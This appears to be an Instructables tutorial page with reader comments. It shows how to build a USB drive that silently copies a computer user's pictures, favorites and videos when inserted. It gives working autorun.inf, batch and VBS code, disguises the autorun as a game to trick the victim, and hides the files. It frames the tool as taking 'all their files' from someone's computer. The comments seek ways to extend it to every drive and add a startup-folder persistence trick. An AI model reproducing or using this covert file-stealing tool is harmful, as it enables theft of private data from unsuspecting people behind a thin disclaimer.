Step 6: Create folder to save files withing thumb drive.

Step 7: Put all files in root of drive and try out

Now if you have not put all the files in the root of the flash drive it's time to do that now. One thing you can do is make all the files hidden, so f...

****** THIS INSTRUCTABLE IS FOR INFORMATION PURPOSES ONLY IT IS ILEGAL TO COPY SOMEONES FILES WITHOUT THEIR PERMISSION I AM NOT RESPONSABLE FOR ANY THING THAT MAY OR MAYNOT HAPPEN IF THIS INFORMATION IS USED IMPROPERLY****************

How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

Step 1: Materials needed

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.

Step 2: Create autorun file for the flash drive

Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering.

Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.[autorun] icon=drive.icoopen=launch.bataction=Click ok to Run game for Windowsshell\open\command=launch.bata couple of notes the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf

look at pic two if you have any issues.

You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Anyways just save it to the drive name it drive.ico next time you pull the drive out and put it in you will have your custom icon. Great for social engineering if the situation arises, makes it much less of an issue to have someone click a file on the drive if it looks like a game or something.

next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.

next it action= this can change to suit your needs, when the autorun launches it sometimes may ask the user what to open dependent on what you put here is what the user will think he is clicking on in the code above it tells the user to click here to run game for windows. This code acts as a backup just in case the user is asked what to open.

The shell/open command also acts as a backup in case the user clicks cancel instead of open when prompted... this code will execute when the drive letter is clicked on. No user can hold back on seeing what is in a random flash drive. That is the basis for this code.

Step 3: Make the file for copy of documents to drive

This is the heart of the flash drive copy I am not going to go through every line of code here but if you have questions just ask or use Google, I will however touch on the main points of the code.Like the last step make sure you use word to make this file save it as file.bat and all files not a word file just like in the picture.Code follows@echo off:: variables /minSET odrive=%odrive:~0,2%set backupcmd=xcopy /s /c /d /e /h /i /r /yecho off %backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"@echo off clswhat this code does looks for what drive letter the flash drive is and sets itstarts xcopylooks for current users pictures, favorites, and videos folder then copy's them to the found flash drive in folders my pics, favorites, and vidsclears screen and shuts down window

now the fun part of this code it can be changed to suit your needs say you need to copy say music folder the code would change to %backupcmd% "%USERPROFILE%\music" "%drive%\all\music"

very clever huh

Step 4: Make vb script to run batch file as invisible

This code is very simple it runs the file.bat as a process so it does not show the cmd prompt and everything the batch file is processing
Code it with word and save as invisible.vbs
All files once again.

Step 5: Make a batch file to launch vb script and file.batch

ok this batch file does two things, it looks for the invisible.vbs file in the root of the flash drive then loads it with file.bat so file.bat is run with code from vbs file.... neat huh.
create with word and save as launch.bat

____________________________

wscript.exe \invisible.vbs file.bat

____________________________

Step 6: Create folder to save files withing thumb drive.

Go to the root of the thumb drive and create a folder named all that's it for this step. All the documents will be saved in this folder in there separate folders.

Step 7: Put all files in root of drive and try out

Now if you have not put all the files in the root of the flash drive it's time to do that now. One thing you can do is make all the files hidden, so for if some reason they look into the drive they will see an empty drive and not think anything. Now all you should have to do is plug into someones computer and let the thumb drive do its work after the LED is done flashing you should have all their files now. If for some reason it prompts for action just click the first one on the list then it will copy all files.

I would post a video if this in action but i am currently deployed to Iraq and bandwidth is very limited here if you have any questions or how i might make this Instructable better dont hesitate to mail me thanks and for looking

ok so this is what i want to be able to do can you give me an example of the code if possible... lets use c: as example So i want to copy all .jpg files on c: that are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever and actually even better if you could limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not. also i am having an issue i have done everything exectly as described but my autorun.inf wont autostart and it wont do anything but open in notepad... im using windows 7

just to update nevermind its working perfectly this computer is just highly customized and i have all of the autorun and everything off it works great on my other winxp computer.... but is there a way to not have the command box come up and say " CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False " also one more question, i still havent figured out how the do the above part with the sizes but i am having an issues with the pdf files i its taking everything from program files that is pdf and i really dont need those its taking like the pdf install and help files from installed programs is there a way to block specific locations from being copied from or for things like pdf and documents and i going to have to specify folders to look in?

Now make sure they are all in the same directory, unless you want to get more complicated with your code. To start the invisible batch file, run the VBS file.

This works because the VBS file can start a program invisibly, but it can only do this to executables (.EXEs). This doesn't include batch files (.BAT). However, the compiled C file is in fact executable. So the VBS runs the C, which runs the Batch as its own commands (that is to say, invisibly).

For more help, just comment.

By the way, I was about to write an instructable on that, but now I dont think it's necassary.

lol another question... so i want to add multiple drives to my script and i am having an issue where I put like the drive letters I want to scan and copy files from but when it tries to copy/scan on the drive litter that my thumbdrive is on it causes a problem and hangs. how do I get it to not scan the drive that its running on when its scanning for files? sorry so many questions but i have been playing with this thing all night and almost got it the way i want it other then these few things and I have been googleing all over to find out more info but not coming up with much.

Hey everyone I am having issues. I am trying to sync files from one folder to another when they plug in the USB drive. I have a .bat file that correctly syncs the folders. I have an autorun that changes the name of the drive and the icon. However, I can not get the autorun to run the .bat file. Any Ideas?

This is a problem that Windows Bill Gates himself discovered so he disabled autorun there fore stopping it froms starting pprograms other than from the computer and also this was only stoped from xp onwards and xp soo yeah...

Good luck

P.S for your trying to do this on an windows XP computer it will work unless they have trend micro office securiy it blocks all auto run features from outr side of the computer

Hi, I'd like to use this for backing up User profiles, and documents at my company and then later on restore that info onto their new computers. Is there anyway to make it so the backup folder automatically gets renamed to the User Profile's name?

So, I may backup multiple computers first and then later on know which documents belong to that particular user.

If you have that much access to the pc, you could just make a batch script that copies all files and set it in the startup folder. It will run silently, and gets rid of the need for the obvious USB. Of course, you could keep the USB and have the batch file in the startup folder write to the USB.

One of the best ways to improve this would be to go through and correct the spelling and grammar errors. It REALLY makes it hard to follow your instructions when you don't use punctuation and run two sentences together. At one point, it took me several minutes to figure out what the hell you did to the sentence to finally understand what you were trying to say.

Sorry if that sounds "negative" but a well-worded instruction would go very far in helping people to understand your process.

TO ALL WHO COULD USE AUTORUN ON WIN7 well.. im srry 2 say but microsoft has disabled the autorun ability for usb in windows 7..as precaution since most malware come from usb. Soo if u wanna make it work its gotta be on windows 2000, xp, or vista(who uses 2000 anymore???)..and frankly there's nuthin u can do 2 change the autorun ability so you'll have to click on the launch.bat file if u wanna make this work..

hello its really great subject but i just want to ask if want to copy the jpg files but from the whole hard drive not only form the C drive i mean form the drive D,E,F..... etc what should i write and thanks alot